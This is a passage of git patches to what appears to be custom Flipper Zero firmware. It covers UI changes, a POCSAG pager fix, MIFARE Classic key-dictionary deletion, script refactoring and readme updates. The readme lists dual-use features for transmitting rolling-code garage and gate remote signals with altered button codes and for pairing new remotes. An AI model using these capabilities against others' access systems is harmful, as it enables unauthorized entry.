furi_string_free(model->validator_text); + furi_string_free(model->temp_str); + }, false); // Send stop command @@ -584,6 +626,8 @@ void text_input_reset(TextInput* text_input) { model->selected_column = 0; model->selected_keyboard = 0; model->clear_default_text = false; + model->cursor_pos = 0; + model->cursor_select = false; model->text_buffer = NULL; model->text_buffer_size = 0; model->callback = NULL; @@ -617,11 +661,15 @@ void text_input_set_result_callback( model->text_buffer = text_buffer; model->text_buffer_size = text_buffer_size; model->clear_default_text = clear_default_text; + model->cursor_select = false; if(text_buffer && text_buffer[0] != '\0') { + model->cursor_pos = strlen(text_buffer); // Set focus on Save model->selected_row = 2; model->selected_column = 9; model->selected_keyboard = 0; + } else { + model->cursor_pos = 0; } }, true); From 474897d644047343b8bbf9fb21e00e727ed608c1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 23:07:42 +0000 Subject: [PATCH 265/329] Fix POCSAG pager RIC: text repetition (#172) --- applications/external/pocsag_pager/protocols/pocsag.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/external/pocsag_pager/protocols/pocsag.c b/applications/external/pocsag_pager/protocols/pocsag.c index ca210c2a4..cc393ac5b 100644 --- a/applications/external/pocsag_pager/protocols/pocsag.c +++ b/applications/external/pocsag_pager/protocols/pocsag.c @@ -157,7 +157,7 @@ static bool pocsag_decode_message_word(SubGhzProtocolDecoderPocsag* instance, ui // Function called when current message got decoded, but other messages might follow static void pocsag_message_done(SubGhzProtocolDecoderPocsag* instance) { // append the message to the long-term storage string - furi_string_cat_printf( + furi_string_printf( instance->generic.result_ric, "\e#RIC: %" PRIu32 "\e# | ", instance->ric); furi_string_cat_str(instance->generic.result_ric, func_msg[instance->func]); if(instance->func != POCSAG_FUNC_ALERT1) { From 22406f8aca612270d1fa5a922f2a9e67e901cce0 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 25 Mar 2023 07:04:28 +0300 Subject: [PATCH 266/329] MF Classic dict - Fix key delete, now works properly --- lib/nfc/helpers/mf_classic_dict.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/nfc/helpers/mf_classic_dict.c b/lib/nfc/helpers/mf_classic_dict.c index 93098d409..7bdfa9e78 100644 --- a/lib/nfc/helpers/mf_classic_dict.c +++ b/lib/nfc/helpers/mf_classic_dict.c @@ -330,17 +330,20 @@ bool mf_classic_dict_delete_index(MfClassicDict* dict, uint32_t target) { uint32_t index = 0; bool key_removed = false; + stream_rewind(dict->stream); while(!key_removed) { if(!stream_read_line(dict->stream, next_line)) break; if(furi_string_get_char(next_line, 0) == '#') continue; if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; if(index++ != target) continue; - stream_seek(dict->stream, -NFC_MF_CLASSIC_KEY_LEN, StreamOffsetFromCurrent); - if(!stream_delete(dict->stream, NFC_MF_CLASSIC_KEY_LEN)) break; + stream_seek(dict->stream, -(NFC_MF_CLASSIC_KEY_LEN + 1), StreamOffsetFromCurrent); + if(!stream_delete(dict->stream, (NFC_MF_CLASSIC_KEY_LEN + 1))) break; dict->total_keys--; key_removed = true; } + stream_rewind(dict->stream); + furi_string_free(next_line); return key_removed; } From 64000fec40b966a4f9a2a6e01002d30e089b0021 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 04:19:14 +0000 Subject: [PATCH 267/329] Update user scripts --- scripts/{ => User}/FlipperPlaylist.py | 0 scripts/User/ReadMe.md | 13 ++---------- scripts/User/decode.py | 20 ++++++------------ scripts/User/encode.py | 29 +++++++++------------------ scripts/User/icondecode.py | 19 ++++++------------ scripts/User/iconencode.py | 17 ++++++---------- 6 files changed, 30 insertions(+), 68 deletions(-) rename scripts/{ => User}/FlipperPlaylist.py (100%) diff --git a/scripts/FlipperPlaylist.py b/scripts/User/FlipperPlaylist.py similarity index 100% rename from scripts/FlipperPlaylist.py rename to scripts/User/FlipperPlaylist.py diff --git a/scripts/User/ReadMe.md b/scripts/User/ReadMe.md index 2c8cbf86b..4b225a272 100644 --- a/scripts/User/ReadMe.md +++ b/scripts/User/ReadMe.md @@ -6,20 +6,11 @@ icondecode.py A set of python3 scripts for processing the Flipper image files. These work as-is but I am rolling in improvements. -##################################### -PREREQUISITES - - -You'll need heatshrink installed - a small embedded/RTOS compression and decompression library -You can get that here https://github.com/atomicobject/heatshrink - -##################################### -HOW TO USE ## # decode. -Decode a .mb into .xbm: +Decode a .bm into .xbm: decode.py input_image output_image [width] [height] Dimensions are not stored in .bm so you need to specify If you have the meta.txt available for the animation set the dimensions will be in here. @@ -29,7 +20,7 @@ If you do not enter anything here it will assume 128x64. THIS WILL NOT ALWAYS BE ## # encode -Encode an .xbm file into .xb +Encode an .xbm file into .bm encode.py input_image output_image You will also get the image dimensions for use in meta.txt That's it. diff --git a/scripts/User/decode.py b/scripts/User/decode.py index 64072b82f..6736e2610 100644 --- a/scripts/User/decode.py +++ b/scripts/User/decode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess -import io import os -import sys def padded_hex(i, l): @@ -50,10 +47,8 @@ parser.add_argument( args = vars(parser.parse_args()) -r = open(args["infile"], "rb") -w = open(args["outfile"], "w") - -fileStream = r.read() +with open(args["infile"], "rb") as f: + fileStream = f.read() filename = os.path.splitext(os.path.basename(args["outfile"]))[0] @@ -70,9 +65,7 @@ else: # lzss decompress -data_decoded_str = subprocess.check_output( - ["heatshrink", "-d", "-w8", "-l4"], input=unpad -) +data_decoded_str = heatshrink2.decompress(unpad, window_sz2=8, lookahead_sz2=4) # turn it back into xbm @@ -85,6 +78,5 @@ bytes_out = "static unsigned char " + filename + "_bits[] = {" + str(c) + "};" data = width_out + height_out + bytes_out -w.write(data) -r.close() -w.close() +with open(args["outfile"], "w") as f: + f.write(data) diff --git a/scripts/User/encode.py b/scripts/User/encode.py index d88ec25f1..cba7aabcb 100644 --- a/scripts/User/encode.py +++ b/scripts/User/encode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess import io -import os -import sys parser = argparse.ArgumentParser( @@ -15,12 +12,10 @@ parser.add_argument("outfile", metavar="o", help="File to write to") args = vars(parser.parse_args()) -r = open(args["infile"], "r") -w = open(args["outfile"], "wb") - - -output = subprocess.check_output(["cat", args["infile"]]) +with open(args["infile"], "rb") as f: + output = f.read() f = io.StringIO(output.decode().strip()) + print("Image Dimensions:") width = int(f.readline().strip().split(" ")[2]) print("W: ", width) @@ -30,20 +25,16 @@ print("H: ", height) data = f.read().strip().replace("\n", "").replace(" ", "").split("=")[1][:-1] data_str = data[1:-1].replace(",", " ").replace("0x", "") - data_bin = bytearray.fromhex(data_str) -data_encoded_str = subprocess.check_output( - ["heatshrink", "-e", "-w8", "-l4"], input=data_bin -) - -assert data_encoded_str +data_encoded_str = heatshrink2.compress(data_bin, window_sz2=8, lookahead_sz2=4) data_enc = bytearray(data_encoded_str) data_enc = bytearray([len(data_enc) & 0xFF, len(data_enc) >> 8]) + data_enc -if len(data_enc) < len(data_bin) + 1: + +if len(data_enc) + 2 < len(data_bin) + 1: data = b"\x01\x00" + data_enc else: data = b"\x00" + data_bin -w.write(data) -r.close() -w.close() + +with open(args["outfile"], "wb") as f: + f.write(data) diff --git a/scripts/User/icondecode.py b/scripts/User/icondecode.py index c1177bc18..752f30a4e 100644 --- a/scripts/User/icondecode.py +++ b/scripts/User/icondecode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess import io -import os -import sys def padded_hex(i, l): @@ -55,22 +52,19 @@ parser.add_argument( ) args = vars(parser.parse_args()) -r = open(args["infile"], "r") -w = open(args["outfile"], "w") imageWidth = args["Width"] imageHeight = args["Height"] trimStart = args["Trim"] -output = subprocess.check_output(["cat", args["infile"]]) # yes this is terrible. +with open(args["infile"], "rb") as f: + output = f.read() f = io.StringIO(output.decode().strip()) data = f.read().strip().replace(";", "").replace("{", "").replace("}", "") data_str = data.replace(",", "").replace("0x", "") data_bin = bytearray.fromhex(data_str[trimStart:]) -data_decoded_str = subprocess.check_output( - ["heatshrink", "-d", "-w8", "-l4"], input=data_bin -) +data_decoded_str = heatshrink2.decompress(data_bin, window_sz2=8, lookahead_sz2=4) b = list(data_decoded_str) @@ -82,6 +76,5 @@ bytes_out = "static unsigned char icon_bits[] = {" + str(c) + "};" data = width_out + height_out + bytes_out -w.write(data) -r.close() -w.close() +with open(args["outfile"], "w") as f: + f.write(data) diff --git a/scripts/User/iconencode.py b/scripts/User/iconencode.py index e41e597dd..d1073dee0 100644 --- a/scripts/User/iconencode.py +++ b/scripts/User/iconencode.py @@ -1,9 +1,6 @@ -import logging +import heatshrink2 import argparse -import subprocess import io -import os -import sys def padded_hex(i, l): @@ -46,23 +43,21 @@ parser.add_argument( ) args = vars(parser.parse_args()) -r = open(args["infile"], "r") -infile = args["infile"].split(".")[0] +filename = args["infile"].split(".")[0] imageWidth = args["Width"] imageHeight = args["Height"] dims = str(imageWidth) + "x" + str(imageHeight) -output = subprocess.check_output(["cat", args["infile"]]) # yes this is terrible. +with open(args["infile"], "rb") as f: + output = f.read() f = io.StringIO(output.decode().strip()) data = f.read().strip().replace(";", "").replace("{", "").replace("}", "") data_str = data.replace(",", "").replace("0x", "") data_bin = bytearray.fromhex(data_str) -data_encoded_str = subprocess.check_output( - ["heatshrink", "-e", "-w8", "-l4"], input=data_bin -) +data_encoded_str = heatshrink2.compress(data_bin, window_sz2=8, lookahead_sz2=4) b = list(data_encoded_str) @@ -70,7 +65,7 @@ c = ",".join(padded_hex(my_int, 2) for my_int in b) # a bit ugly. -framename = "_I_" + infile + "_" + dims +framename = "_I_" + filename + "_" + dims print(len(b)) # d=len(b) # if b > 255 split 0x1234 into 0x34,0x12 From 6e507df2b9f6d5b3dbdb6277dfb0812e7d7a79e8 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 25 Mar 2023 07:44:40 +0300 Subject: [PATCH 268/329] Update readme and changelog --- CHANGELOG.md | 18 ++++-------------- ReadMe.md | 8 ++++---- 2 files changed, 8 insertions(+), 18 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 20dd09d50..625ae2bf9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,18 +1,8 @@ ### New changes -* If you have copied apps into `apps` folder - remove `apps` folder on your microSD before installing this release to avoid issues! -* Dev Builds: Add extra pack dev branch to avoid "bug" reports with `API mismatch` -* App Loader: Add option to ignore api mismatch (warning! some apps WILL not work, please update them to avoid any issues) -> (by @Willy-JL | PR #395) -* SubGHz: Add manually -> GSN protocol support -* SubGHz: Add 318 and 418 MHz back to hopping list -* SubGHz: Fix hopper stuck at 433.42 due to wide range signals - -When we using 433.92 remote flipper in hopping mode will stuck at 433.42 and may loose signal because of that, need to avoid using close freqs in hopping, only freqs with bigger difference like 310 -> 315 -* Plugins: Update **TOTP (Authenticator)** [(by akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -> BadBT Support -* OFW: Screen streaming improvements -* OFW: 1-Wire Overdrive Mode -> **Breaking API change, api was changed from 19.x to 20.x** -* OFW: Disable UART IRQs by default -* OFW: BadUSB: implement boot protocol -* OFW: Remove hmac_sha256 from public API -> **Breaking API change, api was changed from 18.x to 19.x** -**(this will make your manually copied plugins not work, update them in same way you installed them, or delete `apps` folder and then install firmware, if you using extra pack builds (with `e` in version) all apps in _Extra will be updated automatically)** +* NFC: MF Classic User Dict -> Fix deleting of the key in extra actions menu +* Plugins: Fix POCSAG pager `RIC:` text repetition and overlap (by @Willy-JL | PR #398) +* OFW: NFC: MF Classic - Additional checks before invalidating the key (Fixes issues with not using MF keys from user dict) +* OFW: Fix crash when emulating a DSGeneric key #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/all-the-plugins/archive/refs/heads/main.zip) diff --git a/ReadMe.md b/ReadMe.md index edaa9b152..871662933 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -52,9 +52,9 @@ Our Discord Community: - Sub-GHz -> Press OK in frequency analyzer to use detected frequency in Read modes [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/77) - Sub-GHz -> Long press OK button in Sub-GHz Frequency analyzer to switch to Read menu [(by derskythe)](https://github.com/DarkFlippers/unleashed-firmware/pull/79) - Lock device with pin(or regular lock if pin not set) by holding UP button on main screen [(by an4tur0r)](https://github.com/DarkFlippers/unleashed-firmware/pull/107) -* Sub-GHz -> Press OK in frequency analyzer to use detected frequency in Read modes -* Sub-GHz -> Long press OK button in Sub-GHz Frequency analyzer to switch to Read menu -* Sub-GHz -> External CC1101 module support +* Sub-GHz -> Short press OK in frequency analyzer to save detected frequency for usage in Read modes +* Sub-GHz -> Long press OK button in Sub-GHz Frequency analyzer to switch to Read menu and automatically use selected frequency +* Sub-GHz -> External CC1101 module support (Hardware SPI used) * SubGHz -> **Hold right in received signal list to delete selected signal** * SubGHz -> **Custom buttons for Keeloq / Alutech AT4N / Nice Flor S / Somfy Telis / Security+ 2.0** - now you can use arrow buttons to send signal with different button code * SubGHz -> BFT Mitto / Somfy Telis / Nice Flor S manual creation with programming new remote into receiver (use button 0xF for BFT Mitto, 0x8 (Prog) on Somfy Telis) @@ -87,7 +87,7 @@ Encoders/sending made by Eng1n33r & @xMasterX: - CAME Atomo - Nice Flor S - FAAC SLH (Spa) [External seed calculation required (For info contact me in Discord: Nano#8998)] -- Keeloq: BFT Mitto [External seed calculation required (For info contact me in Discord: Nano#8998)] +- Keeloq: BFT Mitto [External seed calculation required (For info contact me in Discord: Nano#8998)] -> Update! check out new [instructions](https://github.com/DarkFlippers/unleashed-firmware/blob/dev/documentation/SubGHzRemoteProg.md) - Security+ v1 & v2 - Star Line From df3dfb1aaaf765d1e661ccb08f73ee3c847b2fc6 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 06:01:17 +0000 Subject: [PATCH 269/329] Add lock mode popup to lock menu --- .../desktop/scenes/desktop_scene_lock_menu.c | 2 + .../desktop/views/desktop_view_lock_menu.c | 201 ++++++++++-------- .../desktop/views/desktop_view_lock_menu.h | 2 + 3 files changed, 120 insertions(+), 85 deletions(-) diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index 120f48b55..c811f84e9 100644 --- a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -53,6 +53,8 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { if(desktop->settings.pin_code.length > 0) { desktop_lock_menu_set_pin_state(desktop->lock_menu, true); scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); + desktop_pin_lock(&desktop->settings); + desktop_lock(desktop); } } } else if(event.type == SceneManagerEventTypeCustom) { diff --git a/applications/services/desktop/views/desktop_view_lock_menu.c b/applications/services/desktop/views/desktop_view_lock_menu.c index c73448aed..1275a48e4 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.c +++ b/applications/services/desktop/views/desktop_view_lock_menu.c @@ -41,7 +41,10 @@ void desktop_lock_menu_set_pin_state(DesktopLockMenuView* lock_menu, bool pin_is with_view_model( lock_menu->view, DesktopLockMenuViewModel * model, - { model->pin_is_set = pin_is_set; }, + { + model->pin_is_set = pin_is_set; + model->pin_lock = pin_is_set; + }, true); } @@ -154,6 +157,14 @@ void desktop_lock_menu_draw_callback(Canvas* canvas, void* model) { canvas_draw_rframe(canvas, x, y, w, h, 5); } } + + if(m->show_lock_menu) { + canvas_set_font(canvas, FontSecondary); + elements_bold_rounded_frame(canvas, 24, 10, 80, 44); + canvas_draw_str_aligned(canvas, 64, 24, AlignCenter, AlignCenter, "Keypad Lock"); + canvas_draw_str_aligned(canvas, 64, 40, AlignCenter, AlignCenter, "PIN Code Lock"); + elements_frame(canvas, 30, m->pin_lock ? 32 : 16, 68, 15); + } } View* desktop_lock_menu_get_view(DesktopLockMenuView* lock_menu) { @@ -167,119 +178,139 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { DesktopLockMenuView* lock_menu = context; uint8_t idx = 0; + bool pin_lock = false; + bool show_lock_menu = false; bool consumed = true; with_view_model( lock_menu->view, DesktopLockMenuViewModel * model, { + show_lock_menu = model->show_lock_menu; if((event->type == InputTypeShort) || (event->type == InputTypeRepeat)) { - if(model->idx < 6) { + if(model->show_lock_menu) { if(event->key == InputKeyUp || event->key == InputKeyDown) { - if(model->idx % 2) { - model->idx--; - } else { - model->idx++; - } - } else if(event->key == InputKeyLeft) { - if(model->idx < 2) { - model->idx = 7; - } else { - model->idx -= 2; - } - } else if(event->key == InputKeyRight) { - if(model->idx >= 4) { - model->idx = 6; - } else { - model->idx += 2; - } + model->pin_lock = !model->pin_lock; + } else if(event->key == InputKeyBack || event->key == InputKeyOk) { + model->show_lock_menu = false; } } else { - if(event->key == InputKeyLeft) { - model->idx--; - } else if(event->key == InputKeyRight) { - if(model->idx >= 7) { - model->idx = 1; - } else { - model->idx++; + if(model->idx == DesktopLockMenuIndexLock && event->key == InputKeyOk) { + model->show_lock_menu = true; + } else if(model->idx < 6) { + if(event->key == InputKeyUp || event->key == InputKeyDown) { + if(model->idx % 2) { + model->idx--; + } else { + model->idx++; + } + } else if(event->key == InputKeyLeft) { + if(model->idx < 2) { + model->idx = 7; + } else { + model->idx -= 2; + } + } else if(event->key == InputKeyRight) { + if(model->idx >= 4) { + model->idx = 6; + } else { + model->idx += 2; + } + } + } else { + if(event->key == InputKeyLeft) { + model->idx--; + } else if(event->key == InputKeyRight) { + if(model->idx >= 7) { + model->idx = 1; + } else { + model->idx++; + } } } } } idx = model->idx; + pin_lock = model->pin_lock; }, true); - UNUSED(idx); - if(event->key == InputKeyBack) { - consumed = false; - } else if(event->key == InputKeyOk && event->type == InputTypeShort) { - DesktopEvent event = 0; - switch(idx) { - case DesktopLockMenuIndexLefthandedMode: - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { - furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + DesktopEvent desktop_event = 0; + if(show_lock_menu) { + if(event->key == InputKeyOk && event->type == InputTypeShort) { + if(pin_lock) { + desktop_event = DesktopLockMenuEventLockPin; } else { - furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + desktop_event = DesktopLockMenuEventLock; } - break; - case DesktopLockMenuIndexSettings: - event = DesktopLockMenuEventSettings; - break; - case DesktopLockMenuIndexDarkMode: - XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; - lock_menu->save_xtreme = true; - break; - case DesktopLockMenuIndexLock: - event = DesktopLockMenuEventLock; - break; - case DesktopLockMenuIndexBluetooth: - lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; - if(lock_menu->bt->bt_settings.enabled) { - furi_hal_bt_start_advertising(); - } else { - furi_hal_bt_stop_advertising(); - } - lock_menu->save_bt = true; - break; - case DesktopLockMenuIndexXtreme: - event = DesktopLockMenuEventXtreme; - break; - default: - break; } - if(event) { - lock_menu->callback(event, lock_menu->context); - } - } else if(idx >= 6 && (event->type == InputTypeShort || event->type == InputTypeRepeat)) { - int8_t offset = 0; - if(event->key == InputKeyUp) { - offset = 1; - } else if(event->key == InputKeyDown) { - offset = -1; - } - if(offset) { - float value; + } else { + if(event->key == InputKeyBack) { + consumed = false; + } else if(event->key == InputKeyOk && event->type == InputTypeShort) { switch(idx) { - case DesktopLockMenuIndexBrightness: - value = lock_menu->notification->settings.display_brightness + 0.05 * offset; - lock_menu->notification->settings.display_brightness = - value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); - lock_menu->save_notification = true; - notification_message(lock_menu->notification, &sequence_display_backlight_on); + case DesktopLockMenuIndexLefthandedMode: + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } break; - case DesktopLockMenuIndexVolume: - value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; - lock_menu->notification->settings.speaker_volume = - value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); - lock_menu->save_notification = true; - notification_message(lock_menu->notification, &sequence_note_c); + case DesktopLockMenuIndexSettings: + desktop_event = DesktopLockMenuEventSettings; + break; + case DesktopLockMenuIndexDarkMode: + XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; + lock_menu->save_xtreme = true; + break; + case DesktopLockMenuIndexBluetooth: + lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; + if(lock_menu->bt->bt_settings.enabled) { + furi_hal_bt_start_advertising(); + } else { + furi_hal_bt_stop_advertising(); + } + lock_menu->save_bt = true; + break; + case DesktopLockMenuIndexXtreme: + desktop_event = DesktopLockMenuEventXtreme; break; default: break; } + } else if(idx >= 6 && (event->type == InputTypeShort || event->type == InputTypeRepeat)) { + int8_t offset = 0; + if(event->key == InputKeyUp) { + offset = 1; + } else if(event->key == InputKeyDown) { + offset = -1; + } + if(offset) { + float value; + switch(idx) { + case DesktopLockMenuIndexBrightness: + value = lock_menu->notification->settings.display_brightness + 0.05 * offset; + lock_menu->notification->settings.display_brightness = + value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_display_backlight_on); + break; + case DesktopLockMenuIndexVolume: + value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; + lock_menu->notification->settings.speaker_volume = + value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_note_c); + break; + default: + break; + } + } } } + if(desktop_event) { + lock_menu->callback(desktop_event, lock_menu->context); + } return consumed; } diff --git a/applications/services/desktop/views/desktop_view_lock_menu.h b/applications/services/desktop/views/desktop_view_lock_menu.h index 1c0840c13..ece48840f 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.h +++ b/applications/services/desktop/views/desktop_view_lock_menu.h @@ -25,6 +25,8 @@ struct DesktopLockMenuView { typedef struct { uint8_t idx; bool pin_is_set; + bool pin_lock; + bool show_lock_menu; DesktopLockMenuView* lock_menu; } DesktopLockMenuViewModel; From d3792dc7bbf9f8deea9eebc3dd2a5df40195289a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 25 Mar 2023 18:39:20 +0000 Subject: [PATCH 270/329] Remove power settings duplicated files --- .../settings/power_settings_app/power_settings.h | 16 ---------------- .../power_settings_app/power_settings_filename.h | 3 --- 2 files changed, 19 deletions(-) delete mode 100644 applications/settings/power_settings_app/power_settings.h delete mode 100644 applications/settings/power_settings_app/power_settings_filename.h diff --git a/applications/settings/power_settings_app/power_settings.h b/applications/settings/power_settings_app/power_settings.h deleted file mode 100644 index 0f2afa295..000000000 --- a/applications/settings/power_settings_app/power_settings.h +++ /dev/null @@ -1,16 +0,0 @@ -#include -#include -#include "power_settings_filename.h" - -#define POWER_SETTINGS_VER (1) - -#define POWER_SETTINGS_PATH INT_PATH(POWER_SETTINGS_FILE_NAME) -#define POWER_SETTINGS_MAGIC (0x21) - -#define SAVE_POWER_SETTINGS(x) \ - saved_struct_save( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) - -#define LOAD_POWER_SETTINGS(x) \ - saved_struct_load( \ - POWER_SETTINGS_PATH, (x), sizeof(uint32_t), POWER_SETTINGS_MAGIC, POWER_SETTINGS_VER) diff --git a/applications/settings/power_settings_app/power_settings_filename.h b/applications/settings/power_settings_app/power_settings_filename.h deleted file mode 100644 index 6a3be534c..000000000 --- a/applications/settings/power_settings_app/power_settings_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define POWER_SETTINGS_FILE_NAME ".power.settings" \ No newline at end of file From 5b39e80f6a6757984458483050d37ded134c31e5 Mon Sep 17 00:00:00 2001 From: Pinball3D <76449307+Pinball3D@users.noreply.github.com> Date: Sat, 25 Mar 2023 16:11:44 -0400 Subject: [PATCH 271/329] Update subghz_remote_app.c Add Back Button Functionality. Hold back button brings you to menu if there is a config for it there. If there is no config, press back brings you to menu --- .../main/subghz_remote/subghz_remote_app.c | 77 +++++++++++++++++-- 1 file changed, 70 insertions(+), 7 deletions(-) diff --git a/applications/main/subghz_remote/subghz_remote_app.c b/applications/main/subghz_remote/subghz_remote_app.c index e26d23cdf..d96167916 100644 --- a/applications/main/subghz_remote/subghz_remote_app.c +++ b/applications/main/subghz_remote/subghz_remote_app.c @@ -61,6 +61,7 @@ typedef struct { FuriString* left_file; FuriString* right_file; FuriString* ok_file; + FuriString* back_file; FuriString* file_path; @@ -69,12 +70,14 @@ typedef struct { char* left_label; char* right_label; char* ok_label; + char* back_label; int up_enabled; int down_enabled; int left_enabled; int right_enabled; int ok_enabled; + int back_enabled; char* send_status; int send_status_c; @@ -182,6 +185,7 @@ void subghz_remote_cfg_set_check(SubGHzRemote* app, FuriString* file_name) { app->left_enabled = 0; app->right_enabled = 0; app->ok_enabled = 0; + app->back_enabled = 0; //check that map file exists if(!flipper_format_file_open_existing(fff_data_file, furi_string_get_cstr(file_name))) { @@ -203,6 +207,7 @@ void subghz_remote_cfg_set_check(SubGHzRemote* app, FuriString* file_name) { fff_data_file, app->right_file, &app->right_label, "RIGHT", &app->right_enabled); cfg_read_file_path(fff_data_file, app->ok_file, &app->ok_label, "OK", &app->ok_enabled); + cfg_read_file_path(fff_data_file, app->back_file, &app->back_label, "BACK", &app->back_enabled); //File definitions are done. //File checks will follow after label assignment in order to close the universal_rf_map file without the need to reopen it again. @@ -214,6 +219,7 @@ void subghz_remote_cfg_set_check(SubGHzRemote* app, FuriString* file_name) { cfg_read_file_label(fff_data_file, &app->left_label, "LLABEL", app->left_enabled); cfg_read_file_label(fff_data_file, &app->right_label, "RLABEL", app->right_enabled); cfg_read_file_label(fff_data_file, &app->ok_label, "OKLABEL", app->ok_enabled); + cfg_read_file_label(fff_data_file, &app->back_label, "BKLABEL", app->back_enabled); } flipper_format_file_close(fff_data_file); @@ -304,10 +310,25 @@ void subghz_remote_cfg_set_check(SubGHzRemote* app, FuriString* file_name) { flipper_format_free(fff_data_file); } + if(app->back_enabled == 1) { + furi_string_set(file_name, app->back_file); + fff_data_file = flipper_format_file_alloc(storage); + + if(!flipper_format_file_open_existing(fff_data_file, furi_string_get_cstr(file_name))) { + FURI_LOG_W(TAG, "Could not open BACK file %s", furi_string_get_cstr(file_name)); + + app->back_enabled = 0; + app->back_label = "N/A"; + } + + flipper_format_file_close(fff_data_file); + flipper_format_free(fff_data_file); + } + furi_record_close(RECORD_STORAGE); if(app->up_enabled == 0 && app->down_enabled == 0 && app->left_enabled == 0 && - app->right_enabled == 0 && app->ok_enabled == 0) { + app->right_enabled == 0 && app->ok_enabled == 0 && app->back_enabled == 0) { app->file_result = 1; } else { app->file_result = 2; @@ -662,6 +683,11 @@ static void render_callback(Canvas* canvas, void* ctx) { canvas_draw_icon(canvas, 2, 33, &I_ButtonRight_4x7); canvas_draw_icon(canvas, 0, 42, &I_Ok_btn_9x9); canvas_draw_icon(canvas, 0, 53, &I_back_10px); + if(app->back_enabled == 1) { + canvas_draw_icon(canvas, 78, 53, &I_back_10px); + } else { + canvas_draw_icon(canvas, 73, 53, &I_back_10px); + } //Labels canvas_set_font(canvas, FontSecondary); @@ -671,7 +697,12 @@ static void render_callback(Canvas* canvas, void* ctx) { canvas_draw_str(canvas, 10, 40, app->right_label); canvas_draw_str(canvas, 10, 50, app->ok_label); - canvas_draw_str_aligned(canvas, 11, 62, AlignLeft, AlignBottom, "Press=Exit."); + canvas_draw_str_aligned(canvas, 10, 62, AlignLeft, AlignBottom, app->back_label); + if(app->back_enabled == 1) { + canvas_draw_str_aligned(canvas, 128, 62, AlignRight, AlignBottom, "Hold=Exit"); + } else { + canvas_draw_str_aligned(canvas, 128, 62, AlignRight, AlignBottom, "Press=Exit"); + } //Status text and indicator canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, app->send_status); @@ -700,6 +731,10 @@ static void render_callback(Canvas* canvas, void* ctx) { canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); canvas_draw_icon(canvas, 116, 18, &I_Pin_star_7x7); break; + case 6: + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); + canvas_draw_icon(canvas, 114.5, 16.5, &I_back_10px); + break; } //Repeat indicator @@ -776,6 +811,7 @@ void subghz_remote_free(SubGHzRemote* app, bool with_subghz) { furi_string_free(app->left_file); furi_string_free(app->right_file); furi_string_free(app->ok_file); + furi_string_free(app->back_file); furi_string_free(app->file_path); furi_string_free(app->signal); @@ -815,6 +851,7 @@ int32_t subghz_remote_app(void* p) { app->left_file = furi_string_alloc(); app->right_file = furi_string_alloc(); app->ok_file = furi_string_alloc(); + app->back_file = furi_string_alloc(); app->file_result = 3; @@ -854,12 +891,13 @@ int32_t subghz_remote_app(void* p) { if(app->file_result == 2) { FURI_LOG_D( TAG, - "U: %s - D: %s - L: %s - R: %s - O: %s ", + "U: %s - D: %s - L: %s - R: %s - O: %s - B: %s", furi_string_get_cstr(app->up_file), furi_string_get_cstr(app->down_file), furi_string_get_cstr(app->left_file), furi_string_get_cstr(app->right_file), - furi_string_get_cstr(app->ok_file)); + furi_string_get_cstr(app->ok_file), + 